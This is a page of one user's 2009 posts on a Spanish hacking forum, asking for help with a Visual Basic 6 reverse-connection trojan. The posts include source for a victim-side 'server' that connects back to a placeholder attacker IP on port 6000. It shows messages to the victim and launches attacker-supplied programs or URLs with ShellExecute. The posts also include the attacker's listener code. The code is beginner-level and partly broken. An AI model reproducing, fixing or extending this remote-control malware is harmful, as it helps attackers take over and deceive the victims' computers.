elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Mensajes
Páginas: 1 ... 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 [36] 37 38
351  Programación / Programación Visual Basic / exe final no recibe los datos... en: 13 Junio 2009, 01:54 am
bueno ultimamente estuve haciendo un troyano inverso en donde la primera parte que hice trabaja con diferentes msgbox y acciones segun la respuesta de la victima... se entendio la idea??

el codigo un poco engorroso

servidor:
Código
  1. Option Explicit
  2. Public WithEvents server As CSocketMaster
  3.  
  4. Private Sub Form_Load()
  5. Set server = New CSocketMaster
  6. server.CloseSck
  7. server.RemoteHost = "ip-ip-ip-ip"
  8. server.Connect server.RemoteHost, 6000
  9. End Sub
  10.  
  11. Private Sub Label1_Click()
  12. If server.State = sckConnected Then
  13. Label1.Caption = "conectado"
  14. ElseIf server.State = sckClosed Then
  15. Label1.Caption = "desconectado"
  16. ElseIf server.State = sckConnecting Then
  17. Label1.Caption = "conectando"
  18. End If
  19. End Sub
  20.  
  21.  
  22. Private Sub Timer1_Timer()
  23. If server.State = 0 Then
  24. server.Connect server.RemoteHost, 6000
  25. ElseIf server.State = 7 Then
  26. Else
  27. server.CloseSck
  28. End If
  29. End Sub
  30.  
  31. Private Sub server_DataArrival(ByVal bytesTotal As Long)
  32. Dim datos As String
  33. Dim res As String
  34. Dim res1 As String
  35.  
  36.  
  37. server.GetData datos
  38.  
  39.  
  40.  
  41. Select Case LCase(Split(datos, "|")(0))
  42.  
  43. Case LCase("mensaje")
  44.  
  45. If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = False) Then
  46. MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
  47. End If
  48. ''''
  49. If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = True) Then
  50. res1 = MsgBox(Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3))
  51. If res1 = vbOK Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: MsgBox "Posible mujer o algo rarito jaja"
  52. End If
  53. ''''
  54. If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = False) Then
  55. MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3)
  56. End If
  57. ''''
  58. If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = True) And ((Split(datos, "|")(8)) = True) Then
  59. res = MsgBox(Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3))
  60. If res = vbYes Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: ShellExecute hwnd, "open", (Split(datos, "|")(9)), vbNullString, vbNullString, conSwNormal
  61. End If
  62.     '''''
  63.  
  64.  
  65. ''''''''''''
  66.  
  67. ''''''''''''
  68. End Select
  69.  
  70. End Sub

cliente:
Código
  1. Option Explicit
  2. Public WithEvents ws As CSocketMaster
  3.  
  4. Private Sub Check2_Click()
  5. If Check2.Value = 1 Then
  6. Check3.Enabled = False
  7. ElseIf Check2.Value = 0 Then
  8. Check3.Enabled = True
  9. End If
  10. End Sub
  11.  
  12. Private Sub Check3_Click()
  13. If Check3.Value = 1 Then
  14. Check2.Enabled = False
  15. ElseIf Check3.Value = 0 Then
  16. Check2.Enabled = True
  17. End If
  18. If Check3.Value = 1 Then
  19. Option1.Enabled = False
  20. Option2.Enabled = False
  21. Option3.Enabled = False
  22. Option5.Enabled = False
  23. Text6.Enabled = False
  24. End If
  25. If Check3.Value = 0 Then
  26. Option1.Enabled = True
  27. Option2.Enabled = True
  28. Option3.Enabled = True
  29. Option5.Enabled = True
  30. Text6.Enabled = True
  31. End If
  32. End Sub
  33.  
  34. Private Sub Command1_Click()
  35. Dim datos As String
  36. Dim datos1 As String
  37. Dim mensajes As String
  38. Dim titulo As String
  39. datos1 = Check1.Value
  40. mensajes = Text1.Text
  41. titulo = Text4.Text
  42. datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option4.Value & "|" & Check3.Value & "|" & Text5.Text & "|" & Option5.Value & "|" & Text6.Text
  43. '''''''''''''''''''''''''1'''''''''''''''''''''2''''''''''''''''''3'''''''''''''''''''4'''''''''''''''''''5''''''''''''''''''''6''''''''''''''''''''7''''''''''''''''''''8'''''''''''''''''''9'''''
  44. ws.SendData datos
  45.  
  46. End Sub
  47.  
  48. Private Sub Command2_Click()
  49. ws.CloseSck
  50. ws.LocalPort = Text2.Text
  51. ws.Listen
  52. Text2.Enabled = False
  53. End Sub
  54.  
  55. Private Sub Form_Load()
  56. Set ws = New CSocketMaster
  57. End Sub
  58.  
  59. Private Sub Label5_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
  60. If ws.State = sckConnected Then
  61. Label5.Caption = "Conectado"
  62. ElseIf ws.State = sckClosed Then
  63. Label5.Caption = "Desconectado"
  64. ElseIf ws.State = sckConnecting Then
  65. Label5.Caption = "Conectando"
  66. End If
  67. End Sub
  68.  
  69. Private Sub ws_ConnectionRequest(ByVal requestID As Long)
  70. ws.CloseSck
  71. ws.Accept requestID
  72. End Sub

ya se que es muy engorroso pero alguno que tenga ganas  ;)

buen el problem principal es: dentro del visual basic (dos visual basic separados (cliente-servidor)) funciona bien

fuera (osea el .exe final) no recibe los datos

adiooos
352  Programación / Programación Visual Basic / resultado msgbox en server en: 12 Junio 2009, 02:52 am
Hola a todos, estuve haciendo un programita en estos ultimos días, pero me choque con un problema.
El programa es un troyano cliente-servidor (inverso), y una de sus funciones es mandar mensajes con: si,no,cancelar...si no y otra sin nada..y con la respuesta de la victima ejecutar algo (despues veo bien qué)

supongo que ya entendieron maso menos la idea
parte del codigo del server

Código
  1. Private Sub server_DataArrival(ByVal bytesTotal As Long)
  2. Dim datos As String
  3. Dim Data() As String
  4.  
  5. server.GetData datos
  6.  
  7. Select Case LCase(Split(datos, "|")(0))
  8.  
  9. Case LCase("mensaje")
  10.  
  11. '''''''''''''
  12.  
  13.  
  14. If (Split(datos, "|")(2)) = 1 Then
  15.        MsgBox Split(datos, "|")(1), vbYesNoCancel, Split(datos, "|")(3)
  16.     '''''
  17. ElseIf (Split(datos, "|")(4)) = 1 Then
  18. MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3) = vbYes ' aca no se como haceeeeeeeer!!
  19.  
  20. ''''''''''''
  21.  
  22. Else
  23. MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
  24.  
  25. End If
  26. ''''''''''''
  27. End Select
  28.  
  29. End Sub

cliente :
Código
  1. Private Sub Command1_Click()
  2. Dim datos As String
  3. Dim datos1 As String
  4. Dim mensajes As String
  5. Dim titulo As String
  6. datos1 = Check1.Value
  7. mensajes = Text1.Text
  8. titulo = Text4.Text
  9. datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option1.Value
  10.  
  11.  
  12. ws.SendData datos
  13.  
  14. End Sub

la conexión esta bien no pongo el resto del código porque ahí  no hay problema.

Adios y Muchas Gracias
353  Programación / Programación Visual Basic / Re: Server no conecta, ayuda en: 5 Junio 2009, 00:45 am
ya tengo solucionado ese tema igualemnte muchas gracias

adios
354  Programación / Programación Visual Basic / Re: Error de restablecimiento de conexion con csocketmaster en: 2 Junio 2009, 17:50 pm
¿Podrias poner el codigo en la parte de conexion entre servidor y cliente?

adios 5oler  ::)

nos vemos
355  Programación / Programación Visual Basic / Re: Duda con csocketmaster en: 1 Junio 2009, 23:04 pm
Gracias carlitrosss6  por sacar nuestras dudas ;D

adios
356  Programación / Programación Visual Basic / Re: Server no conecta, ayuda en: 1 Junio 2009, 19:30 pm
Por favor si hay alguien que sepa de esto que nos de alguna solucion ya que hay varios interesados en cambiarnos a Cscoketmaster

por favoor ayuda y gracias a los que respondieron!

adios ;D
357  Programación / Programación Visual Basic / Re: Server no conecta, ayuda en: 1 Junio 2009, 02:55 am
MM ya lo probe y no funciona tampoco.. osea, el problema principal es la conexion,se que ahí hay algo mal, el archivo cliente escucha, pero el server no conecta.

gracias igualmente  ;D

adios
358  Programación / Programación Visual Basic / Server no conecta, ayuda en: 31 Mayo 2009, 19:27 pm
hola, bueno yo anteriormente postee sobre un problema con el Csocketmaster...parece que está solucionado

pero ahora me surgió otro problemam al hacer el troyano de conexion inversa (con los winsock) me funciona bien, pero al hacer el server y el cliente el servidor no conecta..

a ver si laguien me puede ayudar

server.exe (envia a la victima)
Código
  1. Option Explicit
  2. Dim WithEvents cliente As CSocketMaster
  3.  
  4. Private Sub Coneccion_Timer_Timer()
  5. If Not cliente.State = sckConnected Then
  6. cliente.CloseSck
  7. cliente.Connect cliente.RemoteHost, 6000
  8. End If
  9. End Sub
  10.  
  11. Private Sub Form_Load()
  12. Set cliente = New CSocketMaster
  13. cliente.CloseSck
  14. cliente.RemoteHost = "ip-o-dominio-no-ip"
  15. cliente.Connect cliente.RemoteHost, 6000
  16. End Sub
  17. Private Sub Label1_Click()
  18. If cliente.State = sckConnected Then
  19. Label1.Caption = "conectado"
  20. Else: Label1.Caption = "desconectado"
  21. End If
  22. End Sub

cliente.exe (atacante)
Código
  1. Option Explicit
  2. Dim WithEvents server As CSocketMaster
  3.  
  4. Private Sub Command1_Click()
  5. server.CloseSck
  6. server.Bind 6000
  7. server.Listen
  8. End Sub
  9. Private Sub Form_Load()
  10. Set server = New CSocketMaster
  11. End Sub
  12. Private Sub ws_ConnectionRequest(ByVal requestID As Long)
  13. server.CloseSck
  14. server.Accept requestID
  15. End Sub
  16.  

bueno el que tenga ganas de ayudar bienvenido sea  ;D

adios y gracias

359  Programación / Programación Visual Basic / Re: CSocketmaster problema en: 30 Mayo 2009, 16:50 pm
nadie???

porfavor ayuda
360  Programación / Programación Visual Basic / CSocketmaster problema en: 30 Mayo 2009, 03:54 am
buen estubo programando en winsock algunas aplicaciones.. y lei un poco de que es mejor usar el CSocketmaster, bueno el problema es que no encutro mucho algo asi como un tutorial.,. o funciones báscias

la idea es hacer una simple conexion a un cliente (troyano inverso)

y lo que me pasa es lo siguiente: el code

Código
  1. Option Explicit
  2. Dim WithEvents Server As CSocketMaster
  3. Private strRemoteHost As String
  4.  
  5. Private Sub Form_Load()
  6. Set Server = New CSocketMaster
  7. strRemoteHost = "IP.IP.IP.iP"
  8. End Sub
  9.  
  10. Private Sub Command1_Click()
  11.  
  12. Server.Bind
  13. Server.Connect
  14.  
  15. End Sub

mas los dos modulos

ya se ese codigo es un desastre pero la verdad estoy comenzando y estoy medio perdido...

el error que me da en visual basic es:

me marca el class module: CSocketmaster

Err.Raise sckInvalidOp, "CSocketMaster.Connect", "Invalid operation at current state"

y en el .exe : run time error: '40020'

muchas gracias

adioos  ;D
Páginas: 1 ... 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 [36] 37 38
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines